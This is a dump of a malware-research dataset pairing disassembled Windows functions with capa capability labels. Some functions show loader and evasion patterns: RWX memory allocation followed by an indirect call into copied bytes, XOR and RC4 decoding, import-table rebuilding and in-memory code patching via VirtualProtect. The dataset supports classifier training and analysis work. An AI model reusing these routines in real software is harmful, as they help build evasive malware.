joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ac140
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00494770
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x4ac20b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x4ac20b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4ac1be
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x4ac1c9
or bh, 8
and edi, 0x8000000
je 0x4ac1e4
mov eax, dword [0x508b1c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x4ac20b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b25f4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4b2636
call fcn.004c2452
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x4b2636
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4b262d
xor eax, eax
jmp 0x4b263e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004b2644
pop edi
pop esi
pop ebx
ret 4
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc1c
push esi
push edi
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
cmp esi, 0x4ad
jg 0x401026
inc esi
cmp esi, 0xfdc3
jl 0x40100f
mov eax, dword [0x413410]
mov ecx, edi
mov dword [0x4169b4], eax
cmp ecx, 0x209
jne 0x40103f
add eax, 0x1890
inc ecx
cmp ecx, 0xc3e
jl 0x401032
push 0x40
push 0x1000
push eax
push edi
mov dword [0x4169b4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x46a3dc], eax
mov esi, edi
cmp esi, 0x1e3
jge 0x401084
lea eax, [ebp - 0x41c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.vixurifizakixuhikatipucaxe
call dword [sym.imp.GDI32.dll_AddFontResourceA]
inc esi
cmp esi, 0x590053
jl 0x401063
mov esi, edi
mov eax, dword [0x46a3e0]
cmp esi, 0x7c16df
cmove eax, dword [0x413404]
mov dword [0x46a3e0], eax
cmp esi, 0x865
jge 0x4010cc
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
inc esi
cmp esi, 0x8d70ff
jl 0x40108f
mov esi, edi
cmp dword [0x4169b4], esi
jbe 0x401112
mov eax, dword [0x46a3e0]
mov cl, byte [eax + esi + 0x1890]
mov eax, dword [0x46a3dc]
mov byte [eax + esi], cl
cmp esi, 0x652
jge 0x401109
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
inc esi
cmp esi, dword [0x4169b4]
jb 0x4010df
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
mov esi, edi
cmp esi, 0x500233
jne 0x401132
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc esi
cmp esi, 0x88d29b
jl 0x40111f
mov edx, dword [0x4169b4]
mov ecx, dword [0x46a3dc]
push section..data
call fcn.00401374
mov esi, edi
cmp esi, 0xa151
jne 0x40116c
nop
add dword [0x4169b4], 0x35c667fc
call dword [0x46a3dc]
cmp esi, 0x19bc
jge 0x40117b
push edi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
inc esi
cmp esi, 0x5a545b
jl 0x401153
push edi
lea eax, [ebp - 0xc1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0x46a4f8]
mov eax, dword fs:[0x2c]
push edi
mov eax, dword [eax + ecx*4]
mov dword [eax + 4], 1
call fcn.004029f5
push edi
call fcn.00402a8a
pop ecx
pop ecx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404ef7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00404d76
Function at 0x4022e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x144
mov ecx, 0x41
xor eax, eax
push ebp
push esi
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x154]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
je 0x4023bf
dec eax
je 0x402371
dec eax
jne 0x402421
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x23
push 0
call fcn.004038d0
add esp, 0x14
lea ecx, [esp + 0xc]
push ecx
call edi
cmp byte [esp + eax + 0xb], 0x5c
je 0x402347
mov byte [esp + eax + 0xc], 0x5c
mov byte [esp + eax + 0xd], 0
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402421
mov eax, dword [esp + 0x158]
mov byte [eax], 0
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x144
ret
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0xc]
push edx
call edi
cmp byte [esp + eax + 0xb], 0x5c
je 0x402399
mov byte [esp + eax + 0xc], 0x5c
mov byte [esp + eax + 0xd], 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402421
mov ecx, dword [esp + 0x158]
pop edi
pop esi
xor eax, eax
mov byte [ecx], 0
pop ebp
add esp, 0x144
ret
lea edx, [esp + 0xc]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0xc]
push eax
call edi
cmp byte [esp + eax + 0xb], 0x5c
je 0x4023e3
mov byte [esp + eax + 0xc], 0x5c
inc eax
lea esi, [esp + eax + 0xc]
push str.Temp
push esi
call ebp
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402415
mov edx, dword [esp + 0x158]
pop edi
pop esi
xor eax, eax
mov byte [edx], 0
pop ebp
add esp, 0x144
ret
push 0x409368
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.2403160034068573043271152
call edi
dec eax
cmp eax, 8
jl 0x402365
mov al, byte [eax + str.2403160034068573043271152]
cmp al, 0x30
jl 0x402365
cmp al, 0x39
jg 0x402365
movsx esi, al
sub esi, 0x30
and esi, 0x80000003
jns 0x40245b
dec esi
or esi, 0xfffffffc
inc esi
push str.2403160034068573043271152
add esi, 4
call edi
sub eax, esi
dec eax
xor ecx, ecx
lea edx, [eax + str.2403160034068573043271152]
mov al, byte [edx]
test al, al
je 0x40248d
test esi, esi
jle 0x40248d
add al, al
inc al
dec esi
mov byte [esp + ecx + 0x110], al
inc edx
inc ecx
cmp ecx, 0x40
jb 0x402470
lea eax, [esp + ecx + 0x111]
push 0x409364
push eax
mov byte [esp + ecx + 0x118], 0x2e
call ebp
lea ecx, [esp + 0xc]
push ecx
call edi
mov edx, 0x104
lea ecx, [esp + 0xc]
sub edx, eax
lea eax, [esp + 0x110]
push edx
push eax
push ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [esp + eax + 0x14]
push edx
call esi
mov ecx, dword [esp + 0x158]
lea eax, [esp + 0xc]
push 0x103
push eax
push ecx
call esi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x144
ret
Function at 0x402530
Capabilities:
Rebuild import table

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x88
push ebx
push ebp
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x40b9a4], eax
je 0x402785
mov ecx, 0x22
xor eax, eax
lea edi, [esp + 0x10]
push 0x30
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push str.2403160034068573043271152
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, dword [0x40b9a4]
mov edx, dword [0x40ba14]
mov eax, dword [0x40ba18]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Load
push ecx
mov dword [esp + 0x48], 0x40ba1c
mov dword [esp + 0x4c], edx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], fcn.00404530
mov dword [esp + 0x58], fcn.00404740
mov dword [esp + 0x5c], fcn.00404840
mov dword [esp + 0x60], fcn.00404870
mov dword [esp + 0x64], fcn.00403f00
mov dword [esp + 0x68], fcn.00403ff0
mov dword [esp + 0x6c], fcn.00404070
mov dword [esp + 0x70], fcn.00404080
mov dword [esp + 0x74], fcn.004040a0
mov dword [esp + 0x78], fcn.00404200
mov dword [esp + 0x7c], fcn.00404260
mov dword [esp + 0x80], fcn.004042f0
mov dword [esp + 0x84], 0x404390
mov dword [esp + 0x88], 0x4043f0
mov dword [esp + 0x8c], fcn.00404420
mov dword [esp + 0x90], fcn.00404490
mov dword [esp + 0x94], fcn.00401280
mov dword [esp + 0x98], fcn.004021c0
mov dword [esp + 0x9c], fcn.00402fc0
call esi
mov edx, dword [0x40b9a4]
push 0x409384
push edx
mov ebp, eax
call esi
mov edi, eax
mov eax, dword [0x40b9a4]
push str.Stop
push eax
call esi
mov ecx, dword [0x40b9a4]
push str.Unload
push ecx
mov ebx, eax
call esi
mov esi, eax
mov al, byte [0x409080]
cmp al, 0xb9
jne 0x40269e
push 0x50
push 0x409080
push 0x409080
call fcn.00403ae0
add esp, 0xc
test ebp, ebp
jne 0x4026b9
mov edx, dword [esp + 0xa4]
push edx
push str.Load
push 0x409080
jmp 0x402759
test edi, edi
jne 0x4026d4
mov edx, dword [esp + 0xa4]
push edx
push 0x409384
push 0x409080
jmp 0x402759
test ebx, ebx
jne 0x4026ec
mov edx, dword [esp + 0xa4]
push edx
push str.Stop
push 0x409080
jmp 0x402759
test esi, esi
jne 0x402704
mov edx, dword [esp + 0xa4]
push edx
push str.Unload
push 0x409080
jmp 0x402759
lea edx, [esp + 0x10]
push edx
push 0x88
call ebp
test eax, eax
je 0x40272a
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0x9c]
push eax
push ecx
call edi
call esi
jmp 0x40276e
cmp byte [0x4090d0], 0xb9
jne 0x402747
push 0x6c
push 0x4090d0
push 0x4090d0
call fcn.00403ae0
add esp, 0xc
mov edx, dword [esp + 0xa4]
push edx
push str.Load
push 0x4090d0
mov eax, dword [esp + 0xa8]
push 0x83
push eax
call fcn.00404840
add esp, 0x14
mov ecx, dword [0x40b9a4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x40b9a4], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret
Function at 0x10005d00
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10005d81
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10005d50
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 4

Function at 0x10005da0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10005de7
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10005dc4
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 4

Function at 0x10005e00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d9bd
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x1006e00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x1006e524], 0x10
mov eax, 0x1006e510
cmovae eax, dword [0x1006e510]
cmp byte [eax], 0
je 0x10005f1a
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10005f1a
cmp dword [0x1006e1ac], 0x10
mov eax, 0x1006e198
cmovae eax, dword [0x1006e198]
cmp byte [eax], 0
je 0x10005f1a
mov esi, 0x10073b68
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x10005e76
mov edx, 0x10070348
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10005e90
mov ecx, dword [0x100743f4]
mov edx, 0x1006e510
cmp dword [0x1006e524], 0x10
push 0x10073b68
cmovae edx, dword [0x1006e510]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10005f1a
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10062968]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10005eed
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10005ed0
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x10075f34]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x10075f34]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10005f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d9ed
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1006e00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10005f70
sub esi, ecx
push esi
call fcn.1004cb44
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10005f9b
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10005f90
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10005fd1
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10005fc7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10005fc7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1004cb36
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x100073e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x10007417
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x10007400
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8

Function at 0x10007720
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8
Function at 0x10007770
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100691f8
push 0x1004c49f
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1006e00c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x100077e2
mov byte [esi + eax], 0x90
inc eax
jmp 0x100077d4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100077fc
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10012190
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x100121e7
test eax, eax
je 0x100121e7
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x100121e6
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret

Function at 0x10012200
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x10075160]
mov ebx, edx
cmp edi, 0x1000
jbe 0x10012249
test ebx, ebx
je 0x10012249
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret

Function at 0x100123f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x1001244e
test edi, edi
je 0x1001244e
push esi
push edi
call fcn.1004cb44
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8

Function at 0x10012470
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1004cb44
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x100124de
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100124c2
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x100124b0
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8
Function at 0x10012500
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1004cb44
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x10012591
test ebx, ebx
je 0x10012591
test esi, esi
je 0x10012591
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10012540
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 8

Function at 0x100125c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x100125fe
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1004c2e9
mov esp, ebp
pop ebp
ret 4